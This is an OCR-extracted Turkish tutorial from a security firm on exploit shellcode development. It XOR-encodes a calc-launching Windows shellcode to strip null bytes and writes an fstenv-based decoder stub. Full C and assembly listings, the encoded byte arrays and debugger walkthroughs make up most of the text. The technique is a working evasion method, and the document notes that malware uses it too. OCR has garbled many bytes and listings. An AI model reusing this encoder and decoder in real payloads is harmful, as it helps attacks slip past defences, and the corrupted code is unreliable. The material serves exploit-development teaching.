Encoding algoritmasi genellikle ayni boyutta bir kodlanmis shellcode Uretir.

Shellcode’un hedeflenen prosesin hafiza alanina yliklendiginde hedefine ulasabilmesi icin decode
edilmesi gereklidir. Bu nedenle kodlanmis shellcode’un basina bir decoder kodu eklenir. Dogal olarak
decoder kodu kodlanmamis olup koti karakterler icermemelidir.

btri k

SHELLCODE ENCODING VE DECODING

Orijinal Encc.:ding Encode Edilmis
Shellcode Algoritmas Shellcode
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btri k

SHELLCODE ENCODING VE DECODING

Decoder Decoder

Decoding
Encode Edilmis Algoritmasi Orijinal
Shellcode Shellcode

. /

Uygulama akisina hilkmetme anindan sonra 6ncelikle decoder kodu calistirilir. Decoder kodu kodlanmis
shellcode’umuzu orijinal haline getirdikten sonra uygulama akisini shellcode’a birakir.

Sizin de tahmin edebileceginiz gibi ayni ydontem zararli yazilimlar tarafindan da kendini gizleme amagli
olarak kullanilabilir.

Ornegimizde kullanacagimiz kodlama algoritmasi null karakterlerden kurtulmaya yénelik olacagi icin son
derece basit.

Yapacagimiz sey shellcode’umuz igindeki tiim byte’lari inceleyip bu byte’lar arasinda var olmayan
herhangi bir byte degerini XOR arglimani olarak kullanarak tiim shellcode’umuzun her bir byte’ini bu
deger ile XOR’lamak. Shellcode’umuz icinde var olmayan bir byte’i kullanarak yapacagimiz XOR
islemlerinin sonunda null byte olusmayacagindan emin olacagiz.

Bu islem igin basit bir uygulama yazdim. Uygulamamiz bublesort algoritmasini kullanarak byte
array’imizi sirali hale getiriyor. Daha sonra da shellcode’umuz iginde olmayan byte’lari listeleyerek bize
istedigimiz bir byte degerini XOR anahtari olarak segmemize izin veriyor.

Simdi null karakterleri iceren son shellcode’umuzu uygulamamizin icine yerlestirelim ve hangi byte’lari
XOR anahtari olarak kullanabilecegimizi gorelim.

unsigned char code[] = "\x31\xc9\x64\x8b\x35\x30\x00\x00"
"\x00\x8b\x76\x0c\x8b\x76\x1c\x8b"
"\x5e\x08\x8b\x7e\x20\x8b\x36\x38"
"\x4f\x18\x75\xf3\x53\x68\xe3\xle"
"\x12\x10\xe8\x21\x00\x00\x00\x83"

uih WN B
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6. "\xc4\x04\x5b\x6a\x00\x68\x63\x61"

7. "\x6c\x63\x89\xel\x6a\x00\x51\xff"

8. "\xdo\x53\x68\xf8\x99\x3f\x3c\xe8"

9. "\x04\x00\x00\x00\x6a\x00\xff\xdo"

10. "\x8b\x6c\x24\x08\x8b\x45\x3c\x8b"

11. "\x54\x05\x78\x01\xea\x8b\x4a\x18"

12. "\x8b\x5a\x20\x01\xeb\x49\x8b\x34"

13. "\x8b\x01\xee\x31\xff\x31\xcO\xfc"

14. "\xac\x84\xc0\x74\x07\xc1\xcf\x0f"

15. "\x01\xc7\xeb\xf4\x3b\x7c\x24\x04"

16. "\x75\xe3\x8b\x5a\x24\x01\xeb\x66"

17. "\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb"

18. "\x8b\x04\x8b\x01\xe8\xc3";

19. int main(int argc, char **argv)

20. {

21. int i, j, n;

22. unsigned char temp, cnt;

23.

24. char y;

25.

26. n = (sizeof(code)-1);

27. for (i = ©; i<n; i++)

28. {

29. for (j = ©; j<n - i - 1; j++)

30. {

31. if (code[j]>code[]j + 1])

32. {

33. temp = code[]j];

34. code[j] = code[j + 1];

35. code[j + 1] = temp;

36. }

37. }

38. }

39.

40. printf("Byte sayisi: %i\n\n", sizeof(code)-1);
41. printf("Sort edilmis shellcode byte lari:\n");
42. for (i = 0; i < (sizeof(code)-1); i++)
43. {

44, printf("\\x%02x", code[i]);

45, }

46.

47. printf("\n\nXOR isleminde kullanilabilecek bytelar:\n");
48. temp = 0;

49. for (i = ©; i < (sizeof(code)-1); i++)
50. {

51. if (i == 0)

52. {

53. cnt = 0;

54. if (code[i]>cnt)

55.

56. for (cnt = 0; cnt < code[i]; cnt++)
57. printf("\\x%02x", cnt);
58. }

59. }

60. else {

61. if (code[i]>temp)

62.

63. for (cnt = (temp + 1); cnt < code[i]; cnt++)
64. printf("\\x%02x", cnt);
65. }

66. }

67. temp = code[i];

68. }

69. getchar();

70. }
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D4 ShellcodeSort (Runriing) - Microsoft Visual Studio Express 2013 for Windows Desktop @ ¥ | QuickLaunch (Ctrl+Q) P o @ x
FILE EDIT VIEW PROJECT BUILD DEBUG TEAM TOOLS TEST WINDOW  HELP Fatih Emiral ~
©-o| 5P| D | » Continve - [Debug -] [Wr Jmin e imETE| RN,

Process: | [7352] ShellcodeSort.exe -] 71 Suspend + Thread: ¥ ¥ % Stack Frome: L

Address: R \EGhelicoce {2 | Columns

Unavailable whi S bl <

[0
4

4 »

assemb n
(Global Scope) || W
unsigned
"\x80\x8b

» 4] «

"\x5e\x08
"\x4f\x18
"\x12\x10
"\xc4\x04'
"\x6¢\x63
"\xd@\x53
"\x84\x00
"\x8b\x6¢c
"\X54\x85
"\x8b\x5a\x20\x01\ xeb\x49\x8b\x34"
"\x8b\x@1\xee\x31\xff\x31\xcO\xfc" &
100 % |

No data available -

Registers [f&8 d o PEY Watch 1

Uygulamanin Urettigi byte’lardan herhangi birini kopyaliyorum.

Simdi bu byte’l kullanarak shellcode’umuzu encode edelim. Bu islem icin de basit bir uygulama
kullanabiliriz.

Uygulamamizi encode edecegimiz shellcode’umuzu kopyalayarak ve anahtar olarak kullanacagimiz
byte’i tanimlayarak glincelleyelim ve derleyelim.

unsigned char code[] = "\x31\xc9\x64\x8b\x35\x30\x00\x00"
"\x00\x8b\x76\x0c\x8b\x76\x1c\x8b"
"\x5e\x08\x8b\x7e\x20\x8b\x36\x38"
"\x4f\x18\x75\xf3\x53\x68\xe3\xle"
"\x12\x10\xe8\x21\x00\x00\x00\x83"
"\xc4\x04\x5b\x6a\x00\x68\x63\x61"
"\x6c\x63\x89\xel\x6a\x00\x51\xff"
"\xd@\x53\x68\xf8\x99\x3f\x3c\xe8"
"\x04\x00\x00\x00\x6a\x00\xff\xdo"
10. "\x8b\x6c\x24\x08\x8b\x45\x3c\x8b"
11. "\x54\x05\x78\x01\xea\x8b\x4a\x18"
12. "\x8b\x5a\x20\x01\xeb\x49\x8b\x34"
13. "\x8b\x01\xee\x31\xFff\x31\xcO\xfc"
14. "\xac\x84\xc0\x74\x07\xc1\xcf\x0f"
15. "\x01\xc7\xeb\xf4\x3b\x7c\x24\x04"
16. "\x75\xe3\x8b\x5a\x24\x01\xeb\x66"
17. "\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb"
18. "\x8b\x04\x8b\x01\xe8\xc3";

19. int main(int argc, char **argv)

VWoONOOTUVTHA WNPR

20. {

21. int i, j=e;

22. int satirBoyu=8;

23.

24. unsigned char key = 0xb6;

25. unsigned char xor_sonuc;

26.

27. printf("Byte sayisi: %i\n", sizeof(code)-1);
28. printf("XOR encode edilmis shellcode:\n");
29.

30.
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31. for (i = @; i<(sizeof(code)-1); i++)
32. {

33. if (j == @) { printf("\""); }
34. xor_sonuc = code[i] ~ key;

35. printf("\\x%02x", xor_sonuc);
36. J++;

37. if (j == satirBoyu) { printf("\"\n"); j = 0; }
38. }

39. if (3 !'= @) { printf("\"\n"); }

40. getchar();

41. }

Exploit Shellcode Gelistirme

Uygulamamizi ¢alistirdigimizda encode edilmis olan shellcode’umuza ulasacagiz.

M ShellcodeEncode (Running) - Microsoft Visual Studio Express 2013 for Windows Desktop
FILE EDIT VEW PROJKCT BULD DEBUG TEAM TOOLS TEST WINDOW HELP
-0 | iyl D2-C- Continue ~ [ dlMmin m@|=

Process: | [8140] ShellcodeEncode.exe T Suspend = Thread: ¥t Stack Frame:

Memory 1
Address:

Unavailable when is running

4

Disassembly Shellcode|
Global Scope)

3 ¥ | QuickLaunch (Ctri+Q) Pl & x
Fatih Emiral ~

unsigned char col
"\x00\x8b\x76\xf§
"\x5e\x08\x8b\x 7|}
"\x4f\x18\x75\xH
"\x12\x10\xe8\x2}
"\xc4\x084\x5b\x6
"\x6c\x63\x89\xel
"\xd@\x53\x68\x:
"\x@4\x80\x00\x8
"\x8b\x6¢\x24\xI
"\x54\x85\x78\x0
"\x8b\x5a\x20\x8
"\x8b\x@1\xee\x:
100% ~

Registers + 1 x| |Watch1
No data available A

Locals [REFEEEY Call Stack Immediate Window Memory 2 JUEEI Y

Ready
-

Gordugliniz gibi encode edilmis shellcode’umuzda null byte bulunmuyor. Bu arada shellcode’umuzun

uzunlugunu not alalim, decoder kodu icinde ihtiyacimiz olacak.

Simdi asil 6nemli olan decoder kodunun gelistirilmesine geliyoruz.

[BITS 32]

fldpi

fstenv [esp-0xc]

pop ebx

Xor ecx,ecx

mov cl, 142 ;shellcodumuzdaki byte sayisi
mov al, ©xb6 ;Anahtar degerimiz

decode:

VWoONOOUTD WN R

muz basliyor
10. inc ebx
11. loop decode

xor [ebx+0x14],al ;decoder kodumuzun uzunlugu 20 byte, buradan hemen sonra encoded kodu

Decoder kodumuzla ilgili en blyik problemimiz shellcode’umuzun hafiza alaninin hangi adresinden

basladigidir. Clinkl encode edilmis shellcode’umuzu orijinal haline dondirebilmek icin XOR’ladigimiz

degerin aynisiyla tekrar XOR’lamamiz gerekecektir. Bunun igin de anahtar degerimizle XOR’lanacak

hedef byte’larin adreslerine ihtiyacimiz olacaktir.
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Bu problem aslinda decode edilecek kod decoder’a genellikle yapisik bicimde hafizaya yazilacagindan
aslinda decoder kodumuzun adresinin bulunmasi anlamina da gelmektedir.

Get Program Counter denen hafizada ¢alisan uygulamanin kendi adresini bulmasi icin kullanilan pek ¢ok
metod bulunmaktadir. Biz bunlardan en yaygin olanlarindan birini kullanacagiz.

“fstenv” instruction’t FPU (yani Floating Point Unit) gipinin cevresel degiskenlerini argliman olarak
verilen hafiza alanina yazar. Toplam 28 byte uzunlugundaki bu verilerin HEX c offset’inde en son
cahstirilan Floating Point instruction’in adresi yer alir. Decoder uygulamamiz bu degerin tam da ESP
register’iile isaret edilen yere yazilmasi icin bu offset degerini kullanmistir. Boylece “fstenv”
instruction’indan hemen sonra gelen “pop ebx” instruction’i decoder kodumuzun ilk instruction’inin
adresini barindiracaktir.

Bu satirdan sonra ECX register’ini counter olarak kullanmak tzere sifirliyoruz ve hemen sonra
shellcode’umuzun byte sayisini CL register’ina atiyoruz.

Hatirlayacaginiz gibi bu yontemi programatik yontemlerle null byte Gretmeden shellcode yazmak icin de
kullanmistik. Decoder’in kendisi null byte’lardan bizi korumak icin yazildigina gore kendisi de null byte
iceremez. Bu nedenle ECX register’ina kigik bir rakami atayarak null byte iceren bir opcode tretmek
yerine once ECX register’ini sifirhyoruz, daha sonra da 1 byte’lik bir register olan CL register’ina kili¢lik
degerimizi atiyoruz.

Encode edilmis shellcode’umuzu encode ederken kullandigimiz byte degerini AL register’ina atiyoruz.
Burada kod icinde encode ederken kullandigimiz degeri glincellemeyi unutmayalim. Bunu yaparken yine
null byte Gretmekten kagcinmak icin EAX register’i yerine AL register’inin kullanimina dikkat edin.

Decode dongiimiiz son derece basit. Decoder kodumuzun baslangi¢ adresini EBX register’ina atamistik.
Decoder kodumuz derlendiginde olusacak opcode’larin uzunlugu toplam 20 byte olacak. Tabi bunu eger
aklinizdan opcode’lara donustiirme yeteneginiz yoksa assembler ile denemeden bulmak mimkin degil.
Donglimiz her seferinde encode edilmis shellcode’umuzun bir byte’ini anahtar degerimizle XOR’layacak
ver her bir byte’i orjinal haline ¢evirecek.

Loop instruction’i her seferinde ECX register’ini bir azaltacak ve ECX degeri 0’a ulastiginda kod akiginin
bir sonraki byte’tan itibaren devam etmesine izin verecek.

Asagida goreceginiz gibi decoder kodundan hemen sonra encode edilmis shellcode’umuzu
yerlestirecegimizden donglimiiz tiim shellcode’u XOR’ladiktan sonra orijinal shellcode ¢alismaya
baslayacak.

Simdi decoder assembly kodumuzu NASM ile derleyelim, daha sonra da derlenmis kodu Hexyaz
scriptimiz ile onaltilik diizene ¢evirelim.
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Test uygulamamiza hem decoder’imizi hem de hemen sonra gelecek bigimde encode edilmis

shellcode’umuzu yapistirarak encode edilmis shellcode’umuzu ¢alistiralim.

coNOuUVT A WNPER

NNNNRPRRERPRPRRPRRRRPERO
WNPRPOUOVWONOUDNWNRO® -

unsigned char shellcode[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x5b"
"\x31\xc9\xb1\x8e\xbo\xb6\x30\x43"

"\x14\x43\xe2\xfa"

"\x87\x7F\xd2\x3d\x83\x86\xb6\xb6"
"\xb6\x3d\xcO\xba\x3d\xc0\xaa\x3d"
"\xe8\xbe\x3d\xc8\x96\x3d\x80\x8e"
"\xf9\xae\xc3\x45\xe5\xde\x55\xa8"
"\xa4\xa6\x5e\x97\xb6\xb6\xb6\x35"
"\x72\xb2\xed\xdc\xb6\xde\xd5\xd7"

. "\xda\xd5\x3f\x57\xdc\xb6\xe7\x49"
. "\x66\xe5\xde\x4e\x2f\x89\x8a\x5e"
. "\xb2\xb6\xb6\xb6\xdc\xb6\x49\x66"
. "\x3d\xda\x92\xbe\x3d\xf3\x8a\x3d"
. "\xe2\xb3\xce\xb7\x5c\x3d\xfc\xae"
. "\x3d\xec\x96\xb7\x5d\xff\x3d\x82"
. "\x3d\xb7\x58\x87\x49\x87\x76\x4a"
. "\x1a\x32\x76\xc2\xb1\x77\x79\xb9"
. "\xb7\x71\x5d\x42\x8d\xca\x92\xb2"
. "\xc3\x55\x3d\xec\x92\xb7\x5d\xdo"
. "\x3d\xba\xfd\x3d\xec\xaa\xb7\x5d"
. "\x3d\xb2\x3d\xb7\x5e\x75"

)

. int main(int argc, char **argv)

N
S

25.
26.
27.
28.
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D test - Microsoft Visual Studio Express 2013 for Windows Desktop
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Search Solution Explorer (Ctrl+)
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]
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2
=int main(int argc, char **argy) 5
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f = (int(*)()) shellcodej
Gnt) (*FH) O3

ErrorList Output

Ready
—

Gorduglniz gibi shellcode’umuz orjinal halindeki sonucu tekrar Uretti.

Decoder kodumuzun tam olarak nasil calistigini gormek istersek Immunity Debugger’da binary
kodumuzu debug edebiliriz.

Kodumuzu debugger’a ylikledikten sonra decoder kodumuzun hafizadaki yerini bulmak ve bu alan icin
bir hardware breakpoint koymak igin su yolu izleyebiliriz:

e  Kullanici koduna ulasmak igin F9 tusuna basalim.

e Memory dump alaninda sag klikleyelim.

e Search for — Binary string secenegini secelim.

e HEX kutusuna test uygulamamizda decoder kodumuzun ilk 3 byte’ini yazalim: D9 EB 9B

e Buldugumuz alanin lizerine gelerek sag klikleyip Breakpoint — Hardware on execution segenegini
secelim

e Daha sonra tekrar F9 tusuna basarak breakpoint noktasina kadar ilerleyelim.
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Immunity Debugger - test.exe - [CPU - main thread, module test]
[8] Fite View Debug 0
[ % TE «x

00F81282 e

ugins  Im Nindow Help Jobs

ilidsl lemtwhcPkbzr. s ? Iy

[Debug:

il Eoerbinary

asol [

UNICODE [7

HEX +03 ITs EB 9B

V' Entire black

‘ ¥ Case sensitive 0015FCFO0

( . UR— . TR W oo

*|Registers (FPU)

= B Ra

| ug:aa:sn' Progran entry point

i TR W R e——

ity Debugger—tetere - (0 - main tead, mocuie =1 S

|€] File View Debug Plugins Immlib Options Window Help Jobs
B TE X p I WL ] twhcPkbdzr. s HEEEE

|[[12:84:441 Hardvare breakpoint 3 at “test.shellcode

Gorduglnlz gibi decoder kodumuzun basina geldik.

Simdi F7 tusuyla adim adim decoder kodumuzu isletelim.

FSTENV instruction’ calistiginda ESP ile isaret edilen alanin degerindeki degisime dikkat edin.
Gordiglniz gibi bu deger FLDPI instruction’inin yani decoder’ imizin ilk instruction’inin adresi haline

geldi.
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[ B “ “ o ]|
[é8 immunity Debugger - testexe - [CPU - main thread, module test] o s S|
[€] File View Debug Plugins Immlib Options Window Help lobs HEE

B TE WX P I WA 1 emewhcPkbzr.. s ? IR

fRegisters (FPU)

Address - 0015FCAC

Bir sonraki instruction ile bu degeri EBX register’ina atiyoruz.

XOR instruction’ina kadar devam edelim. XOR instruction’t ilk cahstiginda LOOP instruction’indan bir
sonraki instruction’in degistigini gorecegiz.

Birkac¢ defa daha dongliyl dondirelim ve kodun decode edilisini izleyelim.

T ————— ==

|Q Immunity Debugger - testexe - [CPU - main thread, module test] - e
[€] File View Debug Plugins Immlib Options Window Help lubs _ =] x
EFE axpr w2l 1l emtwhcPkbzro.. Code auditor and software assessment specialist needed

* Registers (FPU)

I Paused

e — — — _— —— —

Donglimiz ECX register’inin degeri en son LOOP instruction’l ile sifirlanincaya kadar devam edecek. Son
dongliye kadar uygulamanin devam etmesi icin LOOP instruction’ina bir Conditional Breakpoint koyalim.
Bunun i¢in LOOP instruction’l Gizerinde sag klikleyerek Breakpoint — Conditional secenegini secelim ve
kosul olarak ECX == 1 yazalim. Daha sonra F9 ile uygulamanin ¢alismasina izin verelim.
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[E] Fite View Debug Plugins Immlib Optiens Window Help Jobs

T T .~ T W S
& Immunity Debugger - test.exe - [CPU - main thread, module test] o B Be

OB TE Ux s I W49+ | emtwhcPkbazi.

»| 0015FCBO

immunity. Consufting Services Manager
* Registers (FPU)

Ekranin sag altinda goéreceginiz Running ifadesi donglinlin ¢calismaya devam ettigini gosteriyor.

Uygulamamiz belirttigimiz kosul gerceklestiginden durdu. Bu noktadan itibaren decode edilmis

shellcode’umuz calismaya baslayabilir. F9 tusuna basarak uygulamanin devam etmesine izin

verdigimizde Calculator uygulamamizin calistigina sahit olabiliriz.

[ R et B

Immunity Debugger - test.exe - [CPU - main thread, module ntdll]
gl F ew Debug Plugins Immlib Options Window Help Jobs
OB EE WX b0l W

7781FCC2 0

lemtwhcPkbzr.s?

+ 0015FC64 EENENSYe Mod| [/ A

Immunity: Consulting Services Manager

[ View Edit Help

2000 ©0e0e 0000 2000 0000

0000 0000 0000 0000 0000

B
C
D

—————
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X.BTRIiSK Hakkinda

2009 yilhinda kurulmus ve sadece bilgi giivenligi hizmetlerine odaklanmis olan BTRisk Bilgi Glvenligi ve BT
Yonetisim Hizmetleri bilgi glivenligi problemine yénetim kurulu seviyesinden sistem odasi uygulamasina
kadar uzanan alanda ¢6ziim Gretmektedir.

BTRisk bilgi glivenligi problemini goriinir hale getirerek algilanmasini, anlagilmasini ve dolayisiyla ele
alinmasini miimkin hale getirmektedir.

BTRisk bilgi glivenligi problemine karsi gelistirdigi yaklasimlari gercek hayat kosullarinda test etmis ve
uygulanabilir hale getirmistir.

Bilgi glivenligi ve BT yonetisim hizmet alanlarimiz asagidaki gibidir:

e Pentest Hizmetleri
e Bilgi Glvenligi ve BT Yonetisim Hizmetleri
e Bilgi Glivenligi Operasyon Hizmetleri
e Bilgi Guvenligi Egitimleri
Ozgiin Uriinlerimiz asagidaki gibidir:
e BTRWATCH Bilgi Glvenligi Risk Analizi ve Denetim Uygulamasi
e BTRMON 5651 Uyumlu Wi-Fi ve Kablolu Ag Hotspot Cozimu

e BTROTP Tek Kullanimlik Parola Coziim

1ISO27001
Pentest & BT BG Operasyon
.. Danismanhk . .
Denetimi . . Hizmetleri
Hizmetleri
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